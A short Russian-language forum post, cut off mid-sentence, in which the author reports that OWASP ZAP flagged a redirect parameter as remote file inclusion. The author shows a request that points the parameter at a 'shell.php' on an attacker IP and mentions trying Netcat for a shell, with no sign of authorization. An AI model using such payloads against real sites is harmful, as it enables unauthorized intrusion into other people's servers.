Нашел уязвимость c помощью owasp zap, выдало как RFI, но не уверен, что это так.
Параметр страницы:
currency_code=&redirect=http%3A%2F%2Fwww.google.com%2F, и редиректит на страницу гугл.
Пытался залить шелл:
currency_code=&redirect=http://ip/shell.php, файл скачивает, но с помощью Netcat...